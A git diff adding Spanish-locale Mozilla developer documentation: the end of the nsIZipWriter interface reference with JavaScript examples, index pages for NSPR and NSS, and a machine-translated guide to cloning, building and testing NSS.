+<h3 id="addEntryFile.28.29" name="addEntryFile.28.29">addEntryFile()</h3>
+
+<p>Adds a new file or directory to the Zip file. If the specified file is a directory, this call is equivalent to:</p>
+
+<pre class="eval"> addDirectoryEntry(aZipEntry, aFile.lastModifiedTime, aQueue);
+</pre>
+
+<pre class="eval"> void addEntryFile(
+   in AUTF8String aZipEntry,
+   in PRInt32 aCompression,
+   in nsIFile aFile,
+   in boolean aQueue
+ );
+</pre>
+
+<h6 id="Parameters_3" name="Parameters_3">Parameters</h6>
+
+<dl>
+ <dt><code>aZipEntry</code></dt>
+ <dd>The path of the file entry to add to the Zip file. This is the path it will be located at within the Zip file.</dd>
+</dl>
+
+<p></p><div class="blockIndicator note"><strong>Nota:</strong> You must use forward slashes in the path.</div><p></p>
+
+<dl>
+ <dt><code>aCompression</code></dt>
+ <dd>One of the <a href="#Constants">compression constants</a>, indicating the compression method to use.</dd>
+ <dt><code>aFile</code></dt>
+ <dd>The file from which to get the data and modification time.</dd>
+ <dt><code>aQueue</code></dt>
+ <dd>If <code>true</code>, the operation is queued for later execution. If <code>false</code>, the operation is performed immediately.</dd>
+</dl>
+
+<h6 id="Exceptions_thrown_3" name="Exceptions_thrown_3">Exceptions thrown</h6>
+
+<dl>
+ <dt><code>NS_ERROR_NOT_INITIALIZED</code></dt>
+ <dd>No Zip file is open.</dd>
+ <dt><code>NS_ERROR_FILE_ALREADY_EXISTS</code></dt>
+ <dd>The specified path already exists in the Zip file.</dd>
+ <dt><code>NS_ERROR_IN_PROGRESS</code></dt>
+ <dd>The Zip writer is already performing another operation.</dd>
+</dl>
+
+<h3 id="addEntryStream.28.29" name="addEntryStream.28.29">addEntryStream()</h3>
+
+<p>Adds data from an input stream to the Zip file.</p>
+
+<pre class="eval"> void addEntryStream(
+   in AUTF8String aZipEntry,
+   in PRTime aModTime,
+   in PRInt32 aCompression,
+   in nsIInputStream aStream,
+   in boolean aQueue
+ );
+</pre>
+
+<h6 id="Parameters_4" name="Parameters_4">Parameters</h6>
+
+<dl>
+ <dt><code>aZipEntry</code></dt>
+ <dd>The path of the file entry to add to the Zip file. This is the path it will be located at within the Zip file.</dd>
+</dl>
+
+<p></p><div class="blockIndicator note"><strong>Nota:</strong> You must use forward slashes in the path.</div><p></p>
+
+<dl>
+ <dt><code>aModTime</code></dt>
+ <dd>The modification time of the entry in microseconds.</dd>
+ <dt><code>aCompression</code></dt>
+ <dd>One of the <a href="#Constants">compression constants</a>, indicating the compression method to use.</dd>
+ <dt><code>aStream</code></dt>
+ <dd>The input stream from which to get the data.</dd>
+ <dt><code>aQueue</code></dt>
+ <dd>If <code>true</code>, the operation is queued for later execution. If <code>false</code>, the operation is performed immediately.</dd>
+</dl>
+
+<h6 id="Exceptions_thrown_4" name="Exceptions_thrown_4">Exceptions thrown</h6>
+
+<dl>
+ <dt><code>NS_ERROR_NOT_INITIALIZED</code></dt>
+ <dd>No Zip file is open.</dd>
+ <dt><code>NS_ERROR_FILE_ALREADY_EXISTS</code></dt>
+ <dd>The specified path already exists in the Zip file.</dd>
+ <dt><code>NS_ERROR_IN_PROGRESS</code></dt>
+ <dd>The Zip writer is already performing another operation.</dd>
+</dl>
+
+<h3 id="close.28.29" name="close.28.29">close()</h3>
+
+<p>Closes the Zip file.</p>
+
+<pre class="eval"> void close();
+</pre>
+
+<h6 id="Parameters_5" name="Parameters_5">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Exceptions_thrown_5" name="Exceptions_thrown_5">Exceptions thrown</h6>
+
+<dl>
+ <dt><code>NS_ERROR_NOT_INITIALIZED</code></dt>
+ <dd>No Zip file is open.</dd>
+ <dt><code>NS_ERROR_IN_PROGRESS</code></dt>
+ <dd>The Zip writer is already performing another operation.</dd>
+</dl>
+
+<p>Other errors may be thrown if a failure to complete the Zip file occurs.</p>
+
+<h3 id="getEntry.28.29" name="getEntry.28.29">getEntry()</h3>
+
+<p>Returns a specified entry in the current Zip file.</p>
+
+<pre class="eval"> nsIZipEntry getEntry(
+   in AUTF8String aZipEntry,
+ );
+</pre>
+
+<h6 id="Parameters_6" name="Parameters_6">Parameters</h6>
+
+<dl>
+ <dt><code>aZipEntry</code></dt>
+ <dd>The path of the file entry to get.</dd>
+</dl>
+
+<h6 id="Return_value" name="Return_value">Return value</h6>
+
+<p>An <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIZipEntry" title="">nsIZipEntry</a></code> object describing the specified entry, or <code>null</code> if there is no such entry.</p>
+
+<h3 id="hasEntry.28.29" name="hasEntry.28.29">hasEntry()</h3>
+
+<p>Determines whether or not a specific entry exists in the Zip file.</p>
+
+<pre class="eval"> boolean hasEntry(
+   in AUTF8String aZipEntry,
+ );
+</pre>
+
+<h6 id="Parameters_7" name="Parameters_7">Parameters</h6>
+
+<dl>
+ <dt><code>aZipEntry</code></dt>
+ <dd>The path of the file entry to check for.</dd>
+</dl>
+
+<h6 id="Return_value_2" name="Return_value_2">Return value</h6>
+
+<p><code>true</code> if there is an entry with the given path in the Zip file, otherwise returns <code>false</code>.</p>
+
+<h3 id="open.28.29" name="open.28.29">open()</h3>
+
+<p>Opens the specified Zip file.</p>
+
+<pre class="eval"> void open(
+   in nsIFile aFile,
+   in PRInt32 aIoFlags
+ );
+</pre>
+
+<h6 id="Parameters_8" name="Parameters_8">Parameters</h6>
+
+<dl>
+ <dt><code>aFile</code></dt>
+ <dd>The Zip file to open.</dd>
+ <dt><code>aIoFlags</code></dt>
+ <dd>The open flags for the Zip file, from <code>prio.h</code>.</dd>
+</dl>
+
+<h6 id="Exceptions_thrown_6" name="Exceptions_thrown_6">Exceptions thrown</h6>
+
+<dl>
+ <dt><code>NS_ERROR_ALREADY_INITIALIZED</code></dt>
+ <dd>A Zip file is already open.</dd>
+ <dt><code>NS_ERROR_INVALID_ARG</code></dt>
+ <dd>The <code>aFile</code> parameter is null.</dd>
+ <dt><code>NS_ERROR_FILE_NOT_FOUND</code></dt>
+ <dd>The specified file was not found and the flags didn't permit creating it. Or the directory for the file does not exist.</dd>
+ <dt><code>NS_ERROR_FILE_CORRUPTED</code></dt>
+ <dd>The specified file is not a recognizable Zip file.</dd>
+</dl>
+
+<p>Other errors may be thrown upon failing to open the file, such as if the file is corrupt or in an unsupported format.</p>
+
+<h3 id="processQueue.28.29" name="processQueue.28.29">processQueue()</h3>
+
+<p>Processes all queued items until the entire queue has been processed or an error occurs. The observer is notified when the first operation begins and when the last operation completes.</p>
+
+<p>Any failures are passed to the observer.</p>
+
+<p>The Zip writer will be busy until the queue is complete or an error halts processing of the queue early. In the event of an early failure, the remaining items stay in the queue; calling <code>processQueue()</code> again will continue where operations left off.</p>
+
+<pre class="eval"> void processQueue(
+   in nsIRequestObserver aObserver,
+   in nsISupports aContext
+ );
+</pre>
+
+<h6 id="Parameters_9" name="Parameters_9">Parameters</h6>
+
+<dl>
+ <dt><code>aObserver</code></dt>
+ <dd>The observer to receive notifications from the queue.</dd>
+ <dt><code>aContext</code></dt>
+ <dd>The context to pass to the observer.</dd>
+</dl>
+
+<h6 id="Exceptions_thrown_7" name="Exceptions_thrown_7">Exceptions thrown</h6>
+
+<dl>
+ <dt><code>NS_ERROR_NOT_INITIALIZED</code></dt>
+ <dd>No Zip file is open.</dd>
+ <dt><code>NS_ERROR_IN_PROGRESS</code></dt>
+ <dd>The queue is already in progress.</dd>
+</dl>
+
+<h3 id="removeEntry.28.29" name="removeEntry.28.29">removeEntry()</h3>
+
+<p>Removes an entry from the Zip file.</p>
+
+<pre class="eval"> void removeEntry(
+   in AUTF8String aZipEntry,
+   in boolean aQueue
+ );
+</pre>
+
+<h6 id="Parameters_10" name="Parameters_10">Parameters</h6>
+
+<dl>
+ <dt><code>aZipEntry</code></dt>
+ <dd>The path of the entry to remove from the Zip file.</dd>
+ <dt><code>aQueue</code></dt>
+ <dd><code>true</code> to place the remove operation into the queue, or <code>false</code> to process it at once.</dd>
+</dl>
+
+<h6 id="Exceptions_thrown_8" name="Exceptions_thrown_8">Exceptions thrown</h6>
+
+<dl>
+ <dt><code>NS_ERROR_NOT_INITIALIZED</code></dt>
+ <dd>No Zip file is open.</dd>
+ <dt><code>NS_ERROR_IN_PROGRESS</code></dt>
+ <dd>The queue is already in progress.</dd>
+ <dt><code>NS_ERROR_FILE_NOT_FOUND</code></dt>
+ <dd>No entry with the given path exists.</dd>
+</dl>
+
+<p>Other errors may occur if updating the Zip file fails.</p>
+
+<h2 id="Examples" name="Examples">Examples</h2>
+
+<h3 id="Adding_a_comment_to_a_Zip_file" name="Adding_a_comment_to_a_Zip_file">Adding a comment to a Zip file</h3>
+
+<pre>var zipWriter = Components.Constructor("@mozilla.org/zipwriter;1", "nsIZipWriter");
+var zipW = new zipWriter();
+
+zipW.open(myZipFilePath, PR_RDWR | PR_CREATE_FILE | PR_TRUNCATE);
+zipW.comment = "This is a comment.";
+zipW.close();
+</pre>
+
+<p><code>PR_RDWR</code> and friends are constants that are not in any interface (see <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=433295">Bug 433295</a>), so for the code above to work you need something like:</p>
+
+<pre>const PR_RDONLY      = 0x01;
+const PR_WRONLY      = 0x02;
+const PR_RDWR        = 0x04;
+const PR_CREATE_FILE = 0x08;
+const PR_APPEND      = 0x10;
+const PR_TRUNCATE    = 0x20;
+const PR_SYNC        = 0x40;
+const PR_EXCL        = 0x80;
+</pre>
+
+<p>See <a href="/en/PR_Open#Parameters" title="en/PR_Open#Parameters">PR_Open Documentation</a> or <a class="external" href="http://developer.mozilla.org/en/docs/Code_snippets:File_I/O">File I/O Snippets</a> for details.</p>
+
+<h3 id="Adding_a_file_to_a_Zip_archive" name="Adding_a_file_to_a_Zip_archive">Adding a file to a Zip archive</h3>
+
+<p>This code synchronously adds the file specified by the <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFile" title="">nsIFile</a></code> <code>theFile</code> to the Zip archive.</p>
+
+<pre>var zipWriter = Components.Constructor("@mozilla.org/zipwriter;1", "nsIZipWriter");
+var zipW = new zipWriter();
+
+zipW.open(myZipFilePath, PR_RDWR | PR_CREATE_FILE | PR_TRUNCATE);
+zipW.addEntryFile("Path/For/This/File/In/Zip Archive", Components.interfaces.nsIZipWriter.COMPRESSION_DEFAULT, theFile, false);
+zipW.close();
+</pre>
+
+<p>The argument <code>nyZipFilePath</code> isn't a path but rather it has to be an <code>nsIFile</code> instance specifying the location of the new zip file. The file need not exist, but the directory that contains it (nsIFile.parent) must exist.</p>
+
+<h3 id="Other_examples" name="Other_examples">Other examples</h3>
+
+<p>For other examples, take a look at the unit tests in the source tree:</p>
+
+<ul>
+ <li><code><a href="https://dxr.mozilla.org/mozilla-central/source/modules/libjar/zipwriter/test/unit" rel="custom">modules/libjar/zipwriter/test/unit</a></code></li>
+</ul>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIZipReader" title="">nsIZipReader</a></code></li>
+ <li><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFile" title="">nsIFile</a></code></li>
+ <li><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIChannel" title="">nsIChannel</a></code></li>
+ <li><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIInputStream" title="">nsIInputStream</a></code></li>
+</ul>
diff --git a/files/es/nspr/index.html b/files/es/nspr/index.html
new file mode 100644
index 0000000000..51a4540a75
--- /dev/null
+++ b/files/es/nspr/index.html
@@ -0,0 +1,58 @@
+---
+title: NSPR
+slug: NSPR
+translation_of: Mozilla/Projects/NSPR
+---
+<p><strong>Netscape Portable Runtime (NSPR)</strong> provides a platform-neutral API for system level and libc-like functions. The API is used in the Mozilla clients, many of Red Hat's and Sun's server applications, and other software offerings.</p>
+<h2 id="Getting_NSPR">Getting NSPR</h2>
+<p>NSPR is available in various source and binary packages, depending on your platform:</p>
+<ul>
+  <li><strong>Windows:</strong> Build the source package, using the <a href="/en-US/docs/NSPR_build_instructions" title="NSPR_build_instructions">NSPR build instructions</a>.</li>
+  <li><strong>Mac:</strong> Install the <a href="http://www.macports.org/" title="http://www.macports.org/">MacPorts</a> <em>nspr</em> package, or the <a href="http://mxcl.github.com/homebrew/" title="http://mxcl.github.com/homebrew/">Homebrew</a> <em>nspr</em> package.</li>
+  <li><strong>Ubuntu:</strong> Install the <em>libnspr4-dev</em> package via <code>apt-get.</code></li>
+  <li><strong>Debian:</strong> Install the <em>libnspr4-dev</em> package via <code>apt-get</code>.</li>
+</ul>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 class="Documentation" id="Documentation" name="Documentation">Documentation</h2>
+        <dl>
+          <dt>
+            <a href="/en-US/docs/NSPR/About_NSPR" title="NSPR/About_NSPR">About NSPR</a></dt>
+          <dd>
+            <small>This topic describes, in general terms, the goals of NSPR and a bit about how it does it.</small></dd>
+          <dt>
+            <a href="/en-US/docs/NSPR_API_Reference" title="NSPR_API_Reference">NSPR API Reference</a></dt>
+          <dd>
+            <small>The reference describes each API public macro, structure and function in the NSPR API.</small></dd>
+          <dt>
+            <a href="/en-US/docs/NSPR_build_instructions" title="NSPR_build_instructions">NSPR build instructions</a></dt>
+          <dd>
+            <small>How to checkout and build from source.</small></dd>
+          <dt>
+            <a href="/en-US/docs/NSPR_release_process" title="NSPR_release_process">NSPR release process</a></dt>
+          <dd>
+            <small>How to prepare an NSPR release.</small></dd>
+          <dt>
+            <a href="http://viewvc.svn.mozilla.org/vc/projects/mozilla.org/trunk/projects/nspr/" title="http://viewvc.svn.mozilla.org/vc/projects/mozilla.org/trunk/projects/nspr/">Legacy NSPR Content</a></dt>
+          <dd>
+            <small>Older NSPR content is available in SVN for browsing and/or migration to this site</small></dd>
+        </dl>
+        <p><span class="alllinks"><a href="/en-US/docs/tag/NSPR" title="tag/NSPR">View All...</a></span></p>
+      </td>
+      <td>
+        <h2 class="Community" id="Community" name="Community">Community</h2>
+        <ul>
+          <li>View Mozilla forums...</li>
+        </ul>
+        <p>{{DiscussionList("dev-tech-nspr", "mozilla.dev.tech.nspr")}}</p>
+        <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
+        <ul>
+          <li><a href="/en-US/docs/Necko" title="Necko">Necko</a>, <a href="/en-US/docs/NSS" title="NSS">NSS</a></li>
+        </ul>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p> </p>
diff --git a/files/es/nss/index.html b/files/es/nss/index.html
new file mode 100644
index 0000000000..b8e53866da
--- /dev/null
+++ b/files/es/nss/index.html
@@ -0,0 +1,17 @@
+---
+title: Servicios de Seguridad de Red
+slug: NSS
+tags:
+  - JSS
+  - NSS
+  - NeedsMigration
+  - Proyecto MDC
+translation_of: Mozilla/Projects/NSS
+---
+<p>Los<strong> Servicios de Seguridad de Red </strong> (<em>Network Security Services</em> (NSS)) son un conjunto de bibliotecas designadas para ayudar al desarrollo en múltiples plataformas de aplicaciones para servidor y cliente con seguridad habilitada. Las aplicaciones desarrolladas con NSS pueden admitir SSL v2 y v3, TLS, PKCS #5, PKCS #7, PKCS #11, PKCS #12, S/MIME, certificados X.509 v3, y otros estándares de seguridad. Para obtener información detallada sobre los estándares admitidos, visita <a href="/es/Descripcion_general_sobre_NSS" title="es/Descripcion_general_sobre_NSS">Descripción general sobre_NSS</a>. Para revisar la lista de preguntas frecuentes, visita <a href="/es/NSS_FAQ" title="es/NSS_FAQ">FAQ</a>.</p>
+<p>NSS se encuentra disponible bajo licencia pública de Mozilla, la licencia pública general GNU y licencia pública general GNU Lesser. Para obtener información sobre cómo descargar versiones de NSS en formato .tar, visita <a class="external" href="http://www.mozilla.org/projects/security/pki/src/download.html">Fuente de descarga de PKI</a>.</p>
+<p> </p>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Documentation"><a href="/Special:Tags?tag=NSS&amp;language=en" title="Special:Tags?tag=NSS&amp;language=en">Notas de las versiones</a></h4> <p> <a class="internal" href="/NSS-3.12.4-release-notes" title="NSS-3.12.4-release-notes"><br> </a></p> <h4 id="Documentation"><a class="internal" href="/NSS-3.12.4-release-notes" title="NSS-3.12.4-release-notes"><br> </a></h4> <ul> <li><a href="/en/NSS_3.12.8_release_notes" title="NSS 3.12.8 release notes">Notas de la versión NSS 3.12.8 </a></li> <li><a href="/en/NSS_3.12.7_release_notes" title="NSS 3.12.7 release notes">Notas de la versión NSS 3.12.7 </a></li> <li><a href="/en/NSS_3.12.6_release_notes" title="NSS 3.12.6 release notes">Notas de la versión NSS 3.12.6 </a></li> <li><a href="/en/NSS_3.12.5_release_notes" title="NSS 3.12.5 release notes">Notas de la versión NSS 3.12.5</a></li> <li><a class="internal" href="/NSS_3.12.4_release_notes" title="NSS 3.12.4 release notes">Notas de la versión NSS 3.12.4</a></li> </ul> <h4 id="Documentaci.C3.B3n"><a href="/Special:Tags?tag=NSS&amp;language=es" title="Special:Tags?tag=NSS&amp;language=es">Documentación</a></h4> <div class="note"> <p>La documentación de Mozilla NSS puede encontrarse en <a class="external" href="http://www.mozilla.org/projects/security/pki/nss/"></a>. Toda esta información debe convertirse a formato wiki.</p> </div> <p>Existe documentación adicional disponible sobre los siguientes temas (sólo en wiki) en:</p> <ul> <li><a href="/es/NSS_reference" title="es/NSS_reference">NSS Referencia (trabajo en progreso)</a></li> <li><a href="/es/PKCS11_Module_Specs" title="es/PKCS11_Module_Specs">Cadenas que NSS usa para cargar módulos PKCS #11</a></li> <li><a href="/es/PKCS11" title="es/PKCS11">Documentación sobre la implementación de módulos PKCS #11</a></li> <li><a href="/es/JavaScript_crypto" title="es/JavaScript_crypto">Usar el objeto window.crypto de JavaScript</a></li> <li><a href="/es/HTTP_Delegation" title="es/HTTP_Delegation">Delegación de descargas HTTP para OCSP</a></li> <li><a href="/en/TLS_Cipher_Suite_Discovery" title="en/TLS_Cipher_Suite_Discovery">Detección de conjuntos de cifrado TLS</a></li> <li><a href="/en/NSS_Certificate_Download_Specification" title="en/NSS_Certificate_Download_Specification">Especificación para la descarga del certificado NSS</a></li> <li><a class="internal" href="/en/NSS/FIPS_Mode_-_an_explanation" title="FIPS Mode - an explanation">Modo FIPS: explicación</a></li> <li><a href="/en/NSS_Key_Log_Format" style="" title="en/NSS Key Log Format">Formato de los archivos clave de registro</a></li> <li>Ver <a href="/Special:Tags?tag=NSS&amp;language=es" title="Special:Tags?tag=NSS&amp;language=es">todos los artículos en MDC relacionados con NSS</a></li> </ul> <p>Control de calidad/evaluación :</p> <ul> <li><a href="/es/Testing_third-party_PKCS#11_modules.2Ftokens_with_NSS" title="es/Testing_third-party_PKCS#11_modules.2Ftokens_with_NSS">Evaluar los módulos PKCS #11/tokens de terceros con NSS</a></li> </ul> <p>La información sobre planificación de NSS se puede encontrar en <a class="external" href="http://wiki.mozilla.org/NSS">wiki.mozilla.org</a>, incluyendo:</p> <ul> <li><a class="external" href="http://wiki.mozilla.org/FIPS_Validation">Validación de FIPS</a></li> <li><a class="external" href="http://wiki.mozilla.org/NSS:Roadmap">Página plan de NSS</a></li> </ul> </td> <td> <h4 id="Comunidad">Comunidad</h4> <ul> <li>Para ver los foros de seguridad de Mozilla:</li> </ul> <p>{{ DiscussionList("dev-security", "mozilla.dev.security") }}</p> <ul> <li>Para ver los foros de criptografía de Mozilla, visita:</li> </ul> <p>{{ DiscussionList("dev-tech-crypto", "mozilla.dev.tech.crypto") }}</p> <h4 id="Temas_relacionados">Temas relacionados</h4> <dl> <dd><a href="/es/Seguridad" title="es/Seguridad">Seguridad</a></dd> </dl> </td> </tr> </tbody>
+</table>
+<p> </p>
+<p>{{ languages( { "en": "en/NSS", "fr": "fr/NSS", "ja": "ja/NSS" } ) }}</p>
diff --git a/files/es/nss/nss_sources_building_testing/index.html b/files/es/nss/nss_sources_building_testing/index.html
new file mode 100644
index 0000000000..de3a9ed645
--- /dev/null
+++ b/files/es/nss/nss_sources_building_testing/index.html
@@ -0,0 +1,68 @@
+---
+title: NSS sources building testing
+slug: NSS/NSS_Sources_Building_Testing
+translation_of: Mozilla/Projects/NSS/NSS_Sources_Building_Testing
+---
+<p><span class="notranslate">Obtener el código fuente de los <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/NSS&amp;xid=17259,15700023,15700186,15700191,15700256,15700259,15700262,15700265&amp;usg=ALkJrhjcgYRPpBL5DE3IPTEEXr9NDIA3KQ" title="/ es-es / docs / NSS">Servicios de seguridad</a> de <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/NSS&amp;xid=17259,15700023,15700186,15700191,15700256,15700259,15700262,15700265&amp;usg=ALkJrhjcgYRPpBL5DE3IPTEEXr9NDIA3KQ" title="/ es-es / docs / NSS">red (NSS)</a> , cómo construirlo y cómo ejecutar su conjunto de pruebas.</span></p>
+
+<h2 id="Obtener_el_código_fuente_y_una_descripción_rápida"><span class="notranslate">Obtener el código fuente y una descripción rápida</span></h2>
+
+
+
+<p><span class="notranslate">La forma más fácil es descargar archivos de versiones NSS <a class="external external-icon" href="ftp://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/" rel="noopener" title="https://ftp.mozilla.org/pub/security/nss/releases/">del servidor de descargas</a> de <a class="external external-icon" href="ftp://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/" rel="noopener" title="https://ftp.mozilla.org/pub/security/nss/releases/">Mozilla</a> .</span> <span class="notranslate"> Encuentre el directorio que contiene el número de versión más alto.</span> <span class="notranslate"> Debido a que NSS depende de la biblioteca base <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/NSPR&amp;xid=17259,15700023,15700186,15700191,15700256,15700259,15700262,15700265&amp;usg=ALkJrhg02yB--26DL7imw4OmlledEjjNww" title="/ es-es / docs / NSPR">NSPR</a> , debe descargar el archivo que combina NSS y NSPR.</span></p>
+
+<p><span class="notranslate">Si es un desarrollador de software y tiene la intención de aportar mejoras a NSS, debe obtener la última instantánea de desarrollo de NSS utilizando mercurial / hg (una <a class="external external-icon" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=http://mercurial.selenic.com/&amp;xid=17259,15700023,15700186,15700191,15700256,15700259,15700262,15700265&amp;usg=ALkJrhj3moPewf0V1cZIVLhLXCsqgktGhw" rel="noopener" title="http://mercurial.selenic.com/">herramienta de administración de control de fuente distribuida</a> ).</span> <span class="notranslate"> Para comenzar, el acceso anónimo de solo lectura es suficiente.</span> <span class="notranslate"> Cree un nuevo directorio en su computadora que usará como su área de trabajo local y ejecute los siguientes comandos.</span></p>
+
+<pre class="language-html" style="margin-top: 0.5em; margin-bottom: 0.5em; padding: 1em; background-color: rgb(245, 242, 240); font-size: 14px; line-height: 21px; font-family: Consolas, Monaco, 'Andale Mono', monospace; color: black; text-shadow: white 0px 1px; direction: ltr;">hg clone https://hg.mozilla.org/projects/nspr
+hg clone https://hg.mozilla.org/projects/nss</pre>
+
+
+
+<p><span class="notranslate">Después de completar los comandos anteriores, debe tener dos directorios locales, llamados nspr y nss, uno al lado del otro.</span></p>
+
+<p><span class="notranslate">(Información histórica: el código fuente NSPR y NSS se ha reorganizado recientemente en una nueva estructura de directorios. En versiones anteriores, todos los archivos estaban ubicados en una jerarquía de directorios que comenzaba con el prefijo "mozilla". La biblioteca base de NSPR estaba ubicada en el directorio mozilla / nsprpub. Los subdirectorios dbm, security / dbm, security / coreconf, security / nss fueron parte de las fuentes de NSS).</span></p>
+
+<p><span class="notranslate">El directorio nss contiene los siguientes subdirectorios importantes:</span></p>
+
+<ul>
+ <li><span class="notranslate">nss / coreconf</span><br>
+  <span class="notranslate">Contiene conocimiento para la construcción multiplataforma.</span></li>
+ <li><span class="notranslate">nss / lib</span><br>
+  <span class="notranslate">Contiene todo el código de biblioteca que se utiliza para crear las bibliotecas de tiempo de ejecución utilizadas por las aplicaciones.</span></li>
+ <li><span class="notranslate">nss / cmd</span><br>
+  <span class="notranslate">Contiene un conjunto de varios programas de herramientas que se crean utilizando NSS.</span> <span class="notranslate"> Varias herramientas son de uso general y se pueden usar para inspeccionar y manipular los archivos de almacenamiento que el software que usa la biblioteca NSS crea y modifica.</span> <span class="notranslate"> Otras herramientas solo se utilizan con fines de prueba.</span> <span class="notranslate"> Sin embargo, todas estas herramientas son buenos ejemplos de cómo escribir software que hace uso de la biblioteca NSS.</span></li>
+ <li><span class="notranslate">nss / test</span><br>
+  <span class="notranslate">Este directorio contiene el conjunto de pruebas NSS, que se usa de manera rutinaria para garantizar que los cambios en NSS no introduzcan regresiones.</span></li>
+</ul>
+
+<p><span class="notranslate">Es importante mencionar la diferencia entre el código NSS interno y las interfaces exportadas.</span> <span class="notranslate"> El software que quisiera usar la biblioteca NSS debe usar solo las interfaces exportadas.</span> <span class="notranslate"> Estos se pueden encontrar mirando los archivos con la extensión de archivo .def, dentro de la jerarquía de directorios nss / lib.</span> <span class="notranslate"> Cualquier función C que no esté contenida en archivos .def es estrictamente para uso privado dentro de NSS, y las aplicaciones y herramientas de prueba no pueden llamarlas.</span> <span class="notranslate"> Para todas las funciones que se enumeran en los archivos .def, NSS promete que la interfaz de funciones binarias (ABI) se mantendrá estable.</span></p>
+
+<h2 id="Compilando_NSS">Compilando NSS</h2>
+
+
+
+<p><span class="notranslate">El proceso de compilación está dirigido por Makefiles desde las ventanas de la consola.</span> <span class="notranslate"> Debido a los requisitos de portabilidad multiplataforma, la compilación puede comportarse de manera diferente a lo que está acostumbrado.</span> <span class="notranslate"> En particular, NSS no usa scripts de configuración.</span> <span class="notranslate"> Puede establecer variables de entorno para definir qué variación de compilación desea.</span></p>
+
+<p><span class="notranslate">En un sistema similar a Linux / Unix, use el shell bash.</span> <span class="notranslate"> En un sistema Windows, debe descargar el paquete de compilación de Windows proporcionado por el proyecto Mozilla.org, que le proporcionará un entorno de línea de comandos similar, suficiente para los propósitos de compilación.</span></p>
+
+<p><span class="notranslate">Asegúrese de que las fuentes NSPR y NSS estén una al lado de la otra, debajo del mismo directorio principal.</span> <span class="notranslate"> Si descargó un archivo fuente nss-with-nspr publicado recientemente del directorio de lanzamiento de NSS en el servidor FTP (versión 3.15 o posterior), ya estará organizado de esa manera.</span></p>
+
+<p><span class="notranslate">Para comenzar el proceso de construcción, use "cd nss" y ejecute "make nss_build_all".</span> <span class="notranslate"> De forma predeterminada, esto generará una compilación en modo de depuración y para una arquitectura de 32 bits.</span> <span class="notranslate"> Puede configurar la variable de entorno BUILD_OPT = 1 para obtener una compilación optimizada, y / o la variable USE_64 = 1 para obtener una compilación de 64 bits.</span></p>
+
+<p><span class="notranslate">Una vez realizada la compilación, puede encontrar el resultado de la compilación debajo del directorio dist / *. OBJ, donde * será un nombre derivado dinámicamente de la arquitectura de su sistema.</span> <span class="notranslate"> Los archivos de encabezado exportados para aplicaciones NSS se pueden encontrar en el directorio "incluir", los archivos de biblioteca en el directorio "lib" y las herramientas en el directorio "bin".</span> <span class="notranslate"> Para ejecutar las herramientas, debe configurar el entorno del sistema para utilizar las bibliotecas de su compilación desde el directorio "lib", por ejemplo, utilizando la variable de entorno LD_LIBRARY_PATH.</span></p>
+
+<p><span class="notranslate">La siguiente página puede tener <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/NSS_reference/Building_and_installing_NSS/Build_instructions&amp;xid=17259,15700023,15700186,15700191,15700256,15700259,15700262,15700265&amp;usg=ALkJrhjm37UpSZKvVR4vkMSAMwENysfZKw" title="/ es-ES / docs / NSS_reference / Building_and_installing_NSS / Build_instructions">información adicional de interés</a> .</span></p>
+
+<h2 id="Ejecutando_el_conjunto_de_pruebas_NSS"><span class="notranslate">Ejecutando el conjunto de pruebas NSS</span></h2>
+
+
+
+<p><span class="notranslate">Esta es una parte importante del trabajo de desarrollo, para garantizar que sus cambios no introduzcan regresiones.</span> <span class="notranslate"> Al agregar nuevas funciones a NSS, también se deben agregar pruebas para la nueva función.</span></p>
+
+<p><span class="notranslate">Debe compilar NSS antes de ejecutar las pruebas.</span> <span class="notranslate"> Después de que la compilación en su computadora haya tenido éxito, antes de que pueda ejecutar las pruebas en su computadora, puede ser necesario establecer variables de entorno adicionales.</span> <span class="notranslate"> Las pruebas NSS iniciarán las herramientas del servidor TCP / IP en su computadora, y para que eso funcione, el conjunto de pruebas NSS necesita saber qué nombre de host pueden usar las herramientas del cliente para conectarse a las herramientas del servidor.</span> <span class="notranslate"> En las máquinas que están configuradas con un nombre de host que se ha registrado en el DNS de su red, esto debería funcionar automáticamente.</span> <span class="notranslate"> En otros entornos (por ejemplo, en redes domésticas), puede establecer las variables de entorno HOST y DOMSUF (para sufijo de dominio) para indicarle al conjunto de NSS qué nombre de host usar.</span> <span class="notranslate"> Como prueba, debe ser posible utilizar con éxito el comando "ping $ HOST. $ DOMSUF" en su computadora (ping informa que recibe respuestas).</span> <span class="notranslate"> En muchas computadoras, las variables HOST = localhost DOMSUF = localdomain funcionan.</span> <span class="notranslate"> En caso de que haya creado NSS en 64 bits, debe establecer la variable de entorno USE_64 en 1 para ejecutar las pruebas.</span></p>
+
